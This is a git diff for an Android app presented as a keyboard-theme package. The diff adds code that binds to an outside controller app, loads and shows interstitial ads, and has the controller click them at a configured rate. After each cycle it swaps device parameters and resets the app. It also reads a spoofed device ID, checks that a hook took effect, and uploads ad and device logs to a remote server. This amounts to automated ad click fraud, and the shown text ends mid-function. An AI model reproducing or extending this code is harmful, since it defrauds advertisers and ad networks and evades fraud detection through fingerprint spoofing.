diff --git a/app/build.gradle.kts b/app/build.gradle.kts index f423340..fefedf6 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -48,6 +48,7 @@ android { buildFeatures { buildConfig = true viewBinding = true + aidl = true } @@ -99,7 +100,7 @@ android { implementation("com.squareup.okhttp3:okhttp:4.12.0") implementation("com.squareup.okhttp3:logging-interceptor:4.12.0") - + implementation(files("libs/magiclock-debug.aar")) implementation(files("libs/TradPlusLibrary_01_04_12_20-release.aar")) // TradPlus diff --git a/app/libs/magiclock-debug.aar b/app/libs/magiclock-debug.aar new file mode 100644 index 0000000..249cb0b Binary files /dev/null and b/app/libs/magiclock-debug.aar differ diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index b162656..45e9490 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -6,6 +6,7 @@ + + + + + + + @@ -45,6 +52,11 @@ android:launchMode="singleTask" android:screenOrientation="portrait" /> + + null } + + AdActivityManager.instance.setControl(this) + MagicLockManager.init(this) } private fun dealFile() { val openFile = trendyAppInstance.assets.open("new_res.json") diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/AIDLClient.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/AIDLClient.kt new file mode 100644 index 0000000..9b5156b --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/AIDLClient.kt @@ -0,0 +1,238 @@ +package com.keyborad.theme.trendyborad.environment + +import android.content.ComponentName +import android.content.Context +import android.content.Intent +import android.content.ServiceConnection +import android.os.Handler +import android.os.IBinder +import android.os.Looper +import android.os.RemoteException +import android.util.Log +import androidx.lifecycle.MutableLiveData +import com.ad.click.cp.IMyAidlCallback +import com.ad.click.cp.IMyAidlInterface +import com.keyborad.theme.trendyborad.environment.hy.TimeoutManager +import com.keyborad.theme.trendyborad.environment.hy.TimeoutTask + +class AIDLClient private constructor() { + private var connection: ServiceConnection? = null + private var myService: IMyAidlInterface? = null + private var isClicking = false // 防止重复执行点击 + private var isReset = false // 防止重复执行重置 + private var isBound = false // 记录是否已绑定 + var isChangeComplete = false//防止修改参数重复发送 + + // LiveData 让 Activity 监听回调 + val paramCompleteLiveData = MutableLiveData() + + //连接是否断开 + val connectCompleteLiveData = MutableLiveData() + + val clickAdCompleteLiveData = MutableLiveData() + + companion object { + val instance: AIDLClient by lazy { AIDLClient() } + } + + /** + * 1. 初始化服务连接 + */ + fun initConnection() { + connection = object : ServiceConnection { + override fun onServiceConnected(className: ComponentName?, service: IBinder?) { + myService = IMyAidlInterface.Stub.asInterface(service) + myService?.registerCallback(callback) + isBound = true + connectCompleteLiveData.postValue(true) + Log.d("ocean-brush", "CP控制器连接成功") + } + + override fun onServiceDisconnected(className: ComponentName?) { + myService = null + isBound = false + connectCompleteLiveData.postValue(false) + Log.d("ocean-brush", "CP控制器连接断开") + } + } + } + + /** + * 绑定 AIDL + */ + fun connectService(context: Context): Boolean { + var success = false + if (!isBound) { + val intent = Intent() + intent.setAction("com.ad.click.cp.AidlService")//必须与服务端指定的service的name一致 + intent.setPackage("com.vastness.mask")//这个包名必须写服务端APP的包名 + success = context.bindService(intent, connection!!, Context.BIND_AUTO_CREATE) + } else { + Log.d("ocean-brush", "AIDL 已绑定,无需重复绑定") + } + return success + } + + /** + * 解绑 AIDL + */ + fun disconnect(context: Context) { + if (isBound && connection != null) { + context.unbindService(connection!!) + isBound = false + myService = null + Log.d("ocean-brush", "AIDL 连接已断开") + } else { + Log.d("ocean-brush", "AIDL未连接,无需解绑") + } + } + + fun sendHeartBeat(pkg: String): Boolean { + return try { + myService?.onHeartBeat(pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + fun sendBrushMiss(): Boolean { + return try { + myService?.onBrushMiss() + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + /** + * 发送点击指令 + */ + fun sendClickAd(rate: Int, pkg: String): Boolean { + return if (!isClicking) { + isClicking = true + try { + Log.d("ocean-brush", "发送点击操作") + myService?.clickAd(rate, pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isClicking = false + false + } + } else { + Log.d("ocean-brush", "点击操作未完成,不能重复点击") + false + } + } + + /** + * 发送重启应用指令 + * 添加重置指令的防止多次点击只是为了规整划,不用在意! + */ + fun sendResetApp(pkg: String): Boolean { + return if (!isReset) { + isReset = true + try { + myService?.resetApp(pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isReset = false + false + } + } else { + Log.d("ocean-brush", "重启应用遭遇重复指令") + false + } + } + + /** + * 发送修改参数指令 + * + * 只发送一次 + */ + fun sendChangeParameters(pkg: String): Boolean { + return if (!isChangeComplete) { + isChangeComplete = true + try { + myService?.changeParameters(pkg, false)//washParam参数,点击包设置为false + //启动改参超时 + TimeoutManager.startTimeout(TimeoutTask.PARAM_CHANGE){ + myService?.resetApp(pkg) + } + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isChangeComplete = false + false + } + } else { + Log.d("ocean-brush", "拦截成功!修改参数静止重复指令") + false + } + } + + /** + * 传入广告点击show数据 + */ + fun sendAdsChange( + pkg: String, + adLoadedCount: Int? = null, + adShownCount: Int? = null, + adClickCount: Int? = null + ): Boolean { + return try { + //假设传入的int值为null,则默认为0 + myService?.adsChange(pkg, adLoadedCount ?: 0, adShownCount ?: 0, adClickCount ?: 0) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + fun sendReceiveResetOpenSuccessfully(): Boolean { + return try { + myService?.receiveResetOpenSuccessfully() + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + + /** + * AIDL 回调,回调数据同步到 LiveData + */ + private val callback = object : IMyAidlCallback.Stub() { + + override fun onClickComplete(b: Boolean) { + Log.d("ocean-brush", "callback 收到回调:点击广告指令执行完毕") + isClicking = false + Handler(Looper.getMainLooper()).post { + clickAdCompleteLiveData.value = b + } + } + + override fun onParametersComplete(b: Boolean) { + Log.d("ocean-brush", "callback 收到回调:参数操作完成") + isChangeComplete = false + Handler(Looper.getMainLooper()).post { + paramCompleteLiveData.value = b + } + } + + override fun onAdDisplayed() { + + } + + override fun onAdDisplayFailed() { + + } + } + +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/MainActivity2.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/MainActivity2.kt new file mode 100644 index 0000000..1eda991 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/MainActivity2.kt @@ -0,0 +1,741 @@ +package com.keyborad.theme.trendyborad.environment + +import android.annotation.SuppressLint +import android.app.Activity +import android.net.Uri +import android.os.Build +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.telephony.TelephonyManager +import android.util.Log +import androidx.appcompat.app.AppCompatActivity +import androidx.lifecycle.MutableLiveData +import androidx.lifecycle.Observer +import androidx.lifecycle.lifecycleScope +import com.applock.filemanager.magiclock.control.MagicLock +import com.google.android.gms.ads.identifier.AdvertisingIdClient +import com.google.gson.JsonObject +import com.keyborad.theme.trendyborad.R +import com.keyborad.theme.trendyborad.databinding.ActivityMain2Binding +import com.keyborad.theme.trendyborad.environment.ad.AdShowFailed +import com.keyborad.theme.trendyborad.environment.ad.AdsInsUtil +import com.keyborad.theme.trendyborad.environment.ad.InstAdCacheManager +import com.keyborad.theme.trendyborad.environment.ad.LoadListener +import com.keyborad.theme.trendyborad.environment.ad.ShowListener +import com.keyborad.theme.trendyborad.environment.hy.AppLifecycleTracker +import com.keyborad.theme.trendyborad.environment.hy.ConfigCallback +import com.keyborad.theme.trendyborad.environment.hy.IdProvider +import com.keyborad.theme.trendyborad.environment.hy.MyConfigUtil +import com.keyborad.theme.trendyborad.environment.hy.SimIdProvider +import com.keyborad.theme.trendyborad.environment.hy.TimeoutManager +import com.keyborad.theme.trendyborad.environment.hy.TimeoutTask +import com.keyborad.theme.trendyborad.environment.hy.getLocalIpAddress +import com.tradplus.ads.base.bean.TPAdInfo +import com.tradplus.ads.open.TradPlusSdk +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.GlobalScope +import kotlinx.coroutines.launch +import kotlinx.coroutines.withContext +import okhttp3.Call +import okhttp3.Callback +import okhttp3.Response +import org.json.JSONObject +import java.io.IOException +import java.math.BigDecimal +import java.math.RoundingMode +import java.util.Locale +import java.util.Random +import java.util.Timer +import java.util.TimerTask +import java.util.UUID +import kotlin.coroutines.resume +import kotlin.coroutines.suspendCoroutine + + +@SuppressLint("WrongConstant") +class MainActivity2 : AppCompatActivity() { + private lateinit var binding: ActivityMain2Binding + private var loadAdNumber = 0//load广告计数 + private var timer: Timer? = null + private val adPlace: MutableList = ArrayList()//可以被show的广告集合 + private var loadAndShowAdNumber = 0//load后并且可以进行show的广告计数 + private val loadJson = JsonObject()//需要上传的load日志json + private val showJson = JsonObject()//需要上传的show日志json + private val viewJson = JsonObject()//展示在刷刷包上的json,选择了一些数据来展示。 + private var quantity = ""//可以被load的广告次数 + private var ecpmCool = ""//最高的ecpm配置 + private var ecpmLow = ""//最低的ecpm配置 + private var clickThroughRate = 80 + private val gaIdError = "00000000-0000-0000-0000-000000000000" + private val loadingAds: MutableSet = mutableSetOf()// 用来跟踪正在加载的广告 + private var startInit = false//是否已经到达初始化广告 + private var shelfNumber = "123" + private var devicesID = "" + private val appStartJson = JsonObject() + private var dataId = 0L + private var simId = 0L + private val aidlClient = AIDLClient.instance + private var isProcessComplete = true //流程是否完毕 + private var remoteIp = "0.0.0.0"//上传到服务的IP + + private val onAdShownLiveData = MutableLiveData() + private val onAdShowFailedLiveData = MutableLiveData() + private val onAdClosedLiveData = MutableLiveData() + + @SuppressLint("MissingInflatedId", "SetTextI18n") + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + binding = ActivityMain2Binding.inflate(layoutInflater) + setContentView(binding.root) + binding.title.text = "TradPlus(12月30日)-${getString(R.string.app_name)}" + // 异步获取 IP,不影响主流程 + lifecycleScope.launch { + remoteIp = getPublicIpAddress() + loadJson.addProperty("remoteIp", remoteIp)//远程IP + showJson.addProperty("remoteIp", remoteIp)//远程IP + } + TradPlusSdk.initSdk(this, "F2D3DB0F6557E1864BAFE4934E3E2E11") + TradPlusSdk.setTradPlusInitListener(object : TradPlusSdk.TradPlusInitListener { + override fun onInitSuccess() { + appendLoadingTxt("初始化成功") + lifecycle.addObserver(AppLifecycleTracker) + //初始化aidl连接 + aidlClient.initConnection() + //绑定AIDL服务 + aidlClient.connectService(this@MainActivity2) + aidlClient.connectCompleteLiveData.observeForever(connectCompleteObserver) + + aidlClient.paramCompleteLiveData.observeForever(paramCompleteObserver) + aidlClient.clickAdCompleteLiveData.observeForever(clickAdCompleteObserver) + + onAdShownLiveData.observeForever(onAdShownObserver) + onAdShowFailedLiveData.observeForever(onAdShowFailedObserver) + onAdClosedLiveData.observeForever(onAdCloseObserver) + } + }) + } + + private val connectCompleteObserver = Observer { + if (it) { + appendLoadingTxt("CP控制器连接成功,进行初始化配置") + aidlClient.sendBrushMiss() + //初始化配置 + initConfig() + //初始化屏幕点击范围 + magicLockInit() + } else { + appendLoadingTxt("CP控制器连接失败,检查是否安装了正确的软件") + } + } + + private val paramCompleteObserver = Observer { + TimeoutManager.cancelTimeout(TimeoutTask.PARAM_CHANGE) + appendLoadingTxt("参数修改完成") + Log.d("ocean-brush", "MainActivity 参数修改操作完成->$it") + if (it) { + aidlClient.sendResetApp(packageName) + } else { + appendLoadingTxt("参数修改失败,等待${paramTimeLeft}秒再次进行参数修改") + startParamCountdown() + } + } + + private val clickAdCompleteObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到点击广告指令完成") + if (it) { + if (AppLifecycleTracker.isMainActivityVisible) { + Log.d( + "ocean-brush", + "MainActivity 成功回到前台,取消点击超时任务,并置 isProcessComplete = true" + ) + TimeoutManager.cancelTimeout(TimeoutTask.CLICK_AD) + isProcessComplete = true + } else { + Log.d("ocean-brush", "MainActivity 但是没有回到前台,进行修改参数重置") + aidlClient.sendChangeParameters(packageName) + } + } else { + Log.d("ocean-brush", "MainActivity 但是intent=null,进行修改参数重置") + aidlClient.sendChangeParameters(packageName) + } + } + + private val onAdShownObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告展示成功") + TimeoutManager.cancelTimeout(TimeoutTask.SHOW_AD) + val isSendClick = aidlClient.sendClickAd(clickThroughRate, packageName) + if (isSendClick) {//指令发送成功 + //广告展示后,启动广告关闭超时任务 + TimeoutManager.startTimeout(TimeoutTask.CLOSE_AD) {//十秒 + Log.d("ocean-brush", "超时任务,广告关闭失败,直接进行改参重置") + aidlClient.sendChangeParameters(packageName) + } + //发送点击广告指令后,启动点击广告的超时任务 + TimeoutManager.startTimeout(TimeoutTask.CLICK_AD) { + Log.d("ocean-brush", "超时任务,广告点击流程没有回来,直接进行重置") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private val onAdShowFailedObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告展示失败,直接进行重置") + TimeoutManager.cancelTimeout(TimeoutTask.SHOW_AD) + aidlClient.sendChangeParameters(packageName) + } + + private val onAdCloseObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告被关闭") + TimeoutManager.cancelTimeout(TimeoutTask.CLOSE_AD) + +// val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager +// val runningTasks = activityManager.getRunningTasks(10) +// +// for (task in runningTasks) { +// if (task.topActivity?.className?.contains("com.vungle.ads.internal.ui.VungleActivity") == true) { +// Log.d("AD_KILLER", "发现 VungleActivity,尝试关闭") +// Runtime.getRuntime().exec("am force-stop com.vungle.ads") +// } +// } + } + + private fun initConfig() { + aidlClient.sendBrushMiss() + val fromCpGuise = intent?.getBooleanExtra("EXTRA_FROM_CP_GUISE_RESET", false) ?: false + if (fromCpGuise) { + Log.d("ocean-brush", "App2 是从 CP reset 启动的!通知cp知道") + aidlClient.sendReceiveResetOpenSuccessfully() + } + + binding.applicationId.text = packageName + getDeviceIdFromProvider { content, b -> + appendLoadingTxt("${b}设备ID:$content") + if (content != null) { + devicesID = content + } + } + dataId = IdProvider().getId() + simId = SimIdProvider().getSimId() + val hookInfo = + "dataId->$dataId," + "simId->$simId" + "制造商:${Build.MANUFACTURER}," + "型号:${Build.MODEL}," + "国家:${ + getSimCountryIso(this@MainActivity2) + }," + "MCC:${mcc()}," + "MNC:${mnc()}" + appendLoadingTxt(hookInfo) + if (dataId == 0L) { + appendLoadingTxt("dataId返回的默认值,hook没生效,修改参数重试") + startCountdown() + return + } + MyConfigUtil.getConfig(packageName, object : ConfigCallback { + override fun onResponse(result: String) { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "加载config配置成功") + Log.d("ocean", "result->${result}") + val json = JSONObject(result) + val dataJson = json.optJSONObject("data") + if (dataJson != null) { + quantity = dataJson.optString("quantity") + ecpmCool = dataJson.optString("ecpmCool") + ecpmLow = dataJson.optString("ecpmLow") + clickThroughRate = dataJson.optInt("clickThroughRate") + appendLoadingTxt("配置->quantity:${quantity},ecpmCool:${ecpmCool},ecpmLow:${ecpmLow},点击:${clickThroughRate}") + getBidJson() + } + } + + override fun onFailure(e: IOException) { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "加载config配置失败") + val message = "message=${e.message}" + appendLoadingTxt("$message \n Config获取失败,请检查是否在后台配置包名,${timeLeft}秒后将会重置") + runOnUiThread { + startCountdown() + } + } + }) + } + + private fun magicLockInit() { + aidlClient.sendBrushMiss() + MagicLock.getInstance(application) + .addMagicActionListener(object : MagicLock.MagicActionListener { + override fun insAreaClick() { + + } + + override fun rewardAreaClick() { + + } + }) + timer = Timer() + timer!!.schedule(object : TimerTask() { + override fun run() { + runOnUiThread { + if ((loadAndShowAdNumber <= 0 || adPlace.size <= 0)) { + /** + * 没有广告的情况 + * [startInit]广告已经进入过初始化 + * [isAnyAdLoading]没有广告在loading中 + * [isProcessComplete]每次流程是否执行完毕 + * [AppLifecycleTracker.isMainActivityVisible]应用已经恢复到前台展示 + * 满足条件则进行重置,发送修改参数指令 + */ + if (startInit && !isAnyAdLoading() && isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + //更新UI,显示为 true + MagicLock.getInstance(application) + .refreshStartResetView(this@MainActivity2, true) + //发送修改参数指令 + aidlClient.sendChangeParameters(packageName) + } + } else { + /** + * 有广告可以展示 + * [isProcessComplete]流程已经执行完毕 + * [AppLifecycleTracker.isMainActivityVisible]应用已经恢复到前台展示 + * 满足条件发送show指令 + */ + if (isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + //开始执行点击流程时,置为false + isProcessComplete = false + showInsAd() + //启动show超时检测,然后在show成功与show失败取消超时任务 + TimeoutManager.startTimeout(TimeoutTask.SHOW_AD) { + //超时都没有show出来则流程重置,让time下次判定可以去show广告 + isProcessComplete = true + } + // 开始流程后,启动是否有广告卡住流程的超时任务。100秒 + TimeoutManager.startTimeout(TimeoutTask.OVERALL_PROCESS) { + aidlClient.sendChangeParameters(packageName) + } + } + } + MagicLock.getInstance(application) + .refreshInsCountView(this@MainActivity2, adPlace.size) + //在TimerTask任务中判定流程已经完毕,并且是否回到了mainActivity,回来则取消超时 + //超过没有回来,则判定为卡住了。 + if (isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + TimeoutManager.cancelTimeout(TimeoutTask.OVERALL_PROCESS) + } + } + //发送广告数量 + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + + //通信cp,用于心跳检测 + aidlClient.sendHeartBeat(packageName) + } + }, 2000, 2000) + } + + // 检查是否有广告在加载中 + fun isAnyAdLoading(): Boolean { + return loadingAds.isNotEmpty() + } + + private fun initAd() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "开始加载三个广告") + startInit = true + appendLoadingTxt("开始加载三个广告") + loadAd(AdsInsUtil.Placement.TOP_ON_AD_ONE) + loadAd(AdsInsUtil.Placement.TOP_ON_AD_TOW) + loadAd(AdsInsUtil.Placement.TOP_ON_AD_THREE) + } + + private fun loadAd(placeId: String) { + val startLoadTime = System.currentTimeMillis() + loadingAds.add(placeId) + + loadAdNumber++//广告load计数(进入loadAd方法就进行计数) + + AdsInsUtil.loadAd(this, placeId, object : LoadListener { + @SuppressLint("DefaultLocale") + override fun loaded(ad: TPAdInfo) { + aidlClient.sendBrushMiss() + val loadedEndTime = System.currentTimeMillis() + appendLoadingTxt("${placeId}AD加载成功") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + // 将 ecpm 转换为 BigDecimal 类型,并进行除法运算 + val result = BigDecimal(ad.ecpm.toDouble()).divide( + BigDecimal(1000), + 20, + RoundingMode.HALF_UP + ) + // 将结果转换为字符串表示形式 + val formattedString: String = result.toPlainString() + Log.d("ocean", "scientificNotation->${formattedString}") + appendLoadingTxt("${ad.adNetworkId} ecpm->$formattedString") + Log.d("ocean", "平台->${ad.adNetworkId} ecpm->${formattedString}") + loadJson.addProperty("succeed", true)//广告加载是否成功 + loadJson.addProperty("loadTime", loadedEndTime - startLoadTime)//加载时间 + loadJson.addProperty("adPlatform", "TradPlus")//广告平台 + loadJson.addProperty("countryCode", ad.format)//国家代码 + loadJson.addProperty("adId", placeId)//广告Id + loadJson.addProperty("platformResponseTime", "")//平台广告响应时间 + loadJson.addProperty("ecpm", formattedString)//广告单价 + loadJson.addProperty("dsp", ad.adNetworkId) + loadJson.addProperty("network", ad.adNetworkId) + loadJson.addProperty("washParam", false) + + //load广告,只有价格大于等于配置的最低值则添加到可以show的广告集合中 + if (formattedString.toFloat() >= ecpmLow.toFloat()) { + Log.d("ocean", "onAdLoaded add ->${placeId}") + adPlace.add(placeId) + loadAndShowAdNumber++ + loadJson.addProperty("showStatus", "0") + } else { + loadJson.addProperty("showStatus", "-1") + } + + viewJson.addProperty("广告加载时间", loadedEndTime - startLoadTime) + viewJson.addProperty("ecpmLow", ecpmLow) + viewJson.addProperty("ecpm", formattedString) + viewJson.addProperty("是否满足show", formattedString.toFloat() >= ecpmLow.toFloat()) + appendInfoTxt(viewJson.toString()) + + MyConfigUtil.initPostLoadLog(loadJson) + + loadingAds.remove(placeId) + } + + override fun loadFailed(error: String) { + aidlClient.sendBrushMiss() + val loadedEndTime = System.currentTimeMillis() + loadJson.addProperty("succeed", false)//广告加载是否成功 + loadJson.addProperty("loadTime", loadedEndTime - startLoadTime)//加载时间 + loadJson.addProperty("adPlatform", "TradPlus")//广告平台 + loadJson.addProperty("adId", placeId)//广告Id + loadJson.addProperty("washParam", false) + loadJson.addProperty("errorData", error) + + MyConfigUtil.initPostLoadLog(loadJson) + + Log.d("ocean", "error->${error.toString()}") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + loadingAds.remove(placeId) + appendLoadingTxt("${placeId}AD加载失败-${error}") + } + }) + } + + private val msgSB = StringBuilder() + private fun appendInfoTxt(msg: String) { + runOnUiThread { + msgSB.appendLine(msg) + binding.infoTv.text = msgSB.toString() + } + } + + private val msgLoading = StringBuilder() + private fun appendLoadingTxt(msg: String) { + runOnUiThread { + msgLoading.appendLine(msg) + binding.loadingTv.text = msgLoading.toString() + } + } + + private fun getInsAdReturnCount(): Int { + return InstAdCacheManager.instance.getLoadedInstCount() + } + + fun showInsAd() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "满足条件,开始展示广告") + //随机 + Log.d("ocean", " show广告集合是否有值:${adPlace.size}") + if (adPlace.isNotEmpty()) { + val placeId = Random().nextInt(adPlace.size) + val place = adPlace[placeId] + adPlace.remove(place) + + AdsInsUtil.showAd(this, place, object : ShowListener { + @SuppressLint("DefaultLocale") + override fun onAdShown(ad: TPAdInfo?) { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdShownLiveData.value = true + } + // 将 ecpm 转换为 BigDecimal 类型,并进行除法运算 + val ecpm = ad?.ecpm?.toDouble() ?: 0.0 + val result = BigDecimal(ecpm).divide(BigDecimal(1000), 20, RoundingMode.HALF_UP) + // 将结果转换为字符串表示形式 + val formattedString: String = result.toPlainString() + showJson.addProperty("succeed", true)//广告加载是否成功 + showJson.addProperty("adPlatform", "Max")//广告平台 + showJson.addProperty("countryCode", ad?.format ?: "")//国家代码 + showJson.addProperty("adId", place)//广告Id + showJson.addProperty("platformResponseTime", "")//平台广告响应时间 + showJson.addProperty("ecpm", formattedString)//广告单价 + showJson.addProperty("dsp", ad?.adNetworkId ?: "") + showJson.addProperty("network", ad?.adNetworkId ?: "") + MyConfigUtil.initPostShowLog(showJson) + + Log.d("ocean", "onAdShown decimalNumber->$formattedString") + + Log.d("ocean", "onAdShown loadAdNumber->${loadAdNumber}") + Log.d("ocean", "onAdShown quantity.toInt()->${quantity.toInt()}") + if (loadAdNumber < quantity.toInt()) {//不能大于配置的数量 + if (ecpmCool.isNotEmpty()) { + //满足配置的最高的价格则重新load这个被消耗的 + Log.d("ocean", "onAdShown ecpmCool->${ecpmCool}") + Log.d("ocean", "onAdShown ecpmCool.toFloat()->${ecpmCool.toFloat()}") + if (formattedString.toFloat() >= ecpmCool.toFloat()) { + loadAd(place) + } + } + } + + println("scanner_ad onAdShown") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount(), 1, 0) + loadAndShowAdNumber-- + } + + override fun onAdClicked() { + aidlClient.sendBrushMiss() + Log.d("ocean", " 点击show广告") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount(), 0, 1) + } + + override fun onAdShowFailed(error: AdShowFailed?) { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdShowFailedLiveData.value = true + } + Log.d("ocean", " show广告失败") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + loadAndShowAdNumber-- + showJson.addProperty("succeed", false)//广告加载是否成功 + showJson.addProperty("adPlatform", "Max")//广告平台 + showJson.addProperty("adId", place)//广告Id + MyConfigUtil.initPostShowLog(showJson) + } + + override fun onAdClosed() { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdClosedLiveData.value = true + } + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + } + }) + } + } + + //路径 /storage/emulated/0/phone.xml + private fun getBidJson() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "组装load数据与show数据上传,并且获取gaid") + val linkId = UUID.randomUUID().toString().replace("-", "") + GlobalScope.launch { + withContext(Dispatchers.IO) { + val gaId = AdvertisingIdClient.getAdvertisingIdInfo(this@MainActivity2).id + Log.d("ocean", "getAdvertisingIdInfo gaId->${gaId}") + + viewJson.addProperty("设备ID", devicesID) + viewJson.addProperty("货架号", shelfNumber) +// viewJson.addProperty("IP获取时间", endIpTime - startIpTime) + + loadJson.addProperty("deviceId", devicesID) + loadJson.addProperty("shelfNumber", shelfNumber)//货架号 + loadJson.addProperty("localIp", getLocalIpAddress())//本地IP + loadJson.addProperty("linkId", linkId)//链路Id + loadJson.addProperty("packageName", packageName)//包名 + loadJson.addProperty("gaid", gaId) + loadJson.addProperty("dataId", dataId) + loadJson.addProperty("carrierId",simId) + loadJson.addProperty("getIpResponseTime", 0) + loadJson.addProperty("packageVersion", 1) + loadJson.addProperty("version", 3) + loadJson.addProperty("phoneVersion", Build.MODEL) + + showJson.addProperty("deviceId", devicesID) + showJson.addProperty("shelfNumber", shelfNumber) + showJson.addProperty("localIp", getLocalIpAddress())//本地IP + showJson.addProperty("linkId", linkId)//链路Id + showJson.addProperty("packageName", packageName)//包名 + showJson.addProperty("gaid", gaId) + showJson.addProperty("dataId", dataId) + showJson.addProperty("carrierId",simId) + showJson.addProperty("getIpResponseTime", 0) + showJson.addProperty("version", 3) + showJson.addProperty("phoneVersion", Build.MODEL) + + runOnUiThread { + binding.gaidTv.text = gaId + if (gaId != null) { + if (gaId == gaIdError) { + binding.gaidLayout.setBackgroundColor(getColor(R.color.red)) + //gaID没有确的值就发送重置广播 + appendLoadingTxt("没有获取到GAID,$timeLeft 秒后将会重置") + startCountdown() + } else { + binding.gaidLayout.setBackgroundColor(getColor(R.color.green)) + initAd() + } + } else { + appendLoadingTxt("没有获取到GAID,$timeLeft 秒后将会重置") + startCountdown() + } + } + } + } + } + + /** + * https://api.tikustok.com/app/common/getIPInfo + * https://openapi.lux-ad.com/app/common/getIPInfo + */ + private suspend fun getPublicIpAddress(): String = suspendCoroutine { continuation -> + var publicIp = "0.0.0.0" + try { + VmHttpUtil.mInstance.getIPInfo( + "https://openapi.lux-ad.com/app/common/getIPInfo", + object : Callback { + override fun onFailure(call: Call, e: IOException) { + runOnUiThread { + appendLoadingTxt("获取IP失败") + } + + continuation.resume(publicIp) + } + + override fun onResponse(call: Call, response: Response) { + Log.d("ocean", "getIPInfo response->${response}") + if (response.code == 200) { + val responseData = response.body?.string() + if (responseData != null) { + val jsonObject = JSONObject(responseData) + Log.d("ocean", "getIPInfo jsonObject->${jsonObject}") + val status = jsonObject.optString("status") + if (status == "Success") { + val data = jsonObject.getJSONObject("data") + appendLoadingTxt("获取IP成功->${data}") + Log.d("ocean", "getIPInfo data->${data}") + publicIp = data.optString("ip") + continuation.resume(publicIp) + } else { + continuation.resume(publicIp) + } + } else { + continuation.resume(publicIp) + } + } else { + runOnUiThread { + appendLoadingTxt("获取IP失败->${response}") + } + continuation.resume(publicIp) + } + } + }) + } catch (e: Exception) { + e.printStackTrace() + appendLoadingTxt("获取IP失败 catch->${e}") + continuation.resume(publicIp) + } + } + + override fun onDestroy() { + super.onDestroy() + aidlClient.connectCompleteLiveData.removeObserver(connectCompleteObserver) + aidlClient.paramCompleteLiveData.removeObserver(paramCompleteObserver) + aidlClient.clickAdCompleteLiveData.removeObserver(clickAdCompleteObserver) + onAdShownLiveData.removeObserver(onAdShownObserver) + onAdShowFailedLiveData.removeObserver(onAdShowFailedObserver) + onAdClosedLiveData.removeObserver(onAdCloseObserver) + aidlClient.disconnect(this) + stopCountdown() + stopParamCountdown() + } + + private fun getSimCountryIso(context: Activity): String { + val telephonyManager = context.getSystemService("phone") as TelephonyManager? + return telephonyManager?.simCountryIso?.uppercase(Locale.ENGLISH) ?: "" + } + + private fun mnc(): String { + val telephonyManager = getSystemService("phone") as TelephonyManager + return try { + val networkOperator = telephonyManager.networkOperator + networkOperator.substring(3.coerceAtMost(networkOperator.length)) + } catch (e: Exception) { + "" + } + } + + private fun mcc(): String { + val telephonyManager = getSystemService("phone") as TelephonyManager + return try { + val networkOperator = telephonyManager.networkOperator + networkOperator.substring(0, minOf(3, networkOperator.length)) + } catch (e: Exception) { + "" + } + } + + @SuppressLint("Range") + fun getDeviceIdFromProvider(callback: (String?, Boolean) -> Unit) { + val uri = Uri.parse("content://com.guise.deviceidprovider/device_id") + val cursor = contentResolver.query(uri, null, null, null, null) + + if (cursor != null && cursor.moveToFirst()) { + val deviceId = cursor.getString(cursor.getColumnIndex("device_id")) + cursor.close() // 关闭 Cursor + callback(deviceId, true) // 成功读取到 Device ID + } else { + callback(null, false) // 读取失败 + } + } + + /** + * 通用进行重置,五秒倒计时 + */ + private var timeLeft = 5 // 倒计时时间 + private val countdownHandler = Handler(Looper.getMainLooper()) + private val countdownRunnable = object : Runnable { + override fun run() { + if (timeLeft > 0) { + appendLoadingTxt("⏳ 剩余 $timeLeft 秒后执行 修改参数 指令") + timeLeft-- + countdownHandler.postDelayed(this, 1000) // 继续倒计时 + } else { + appendLoadingTxt("🚀 执行 修改参数 指令") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private fun startCountdown() { + timeLeft = 5 // 重新初始化时间 + countdownHandler.post(countdownRunnable) // 开始倒计时 + } + + private fun stopCountdown() { + 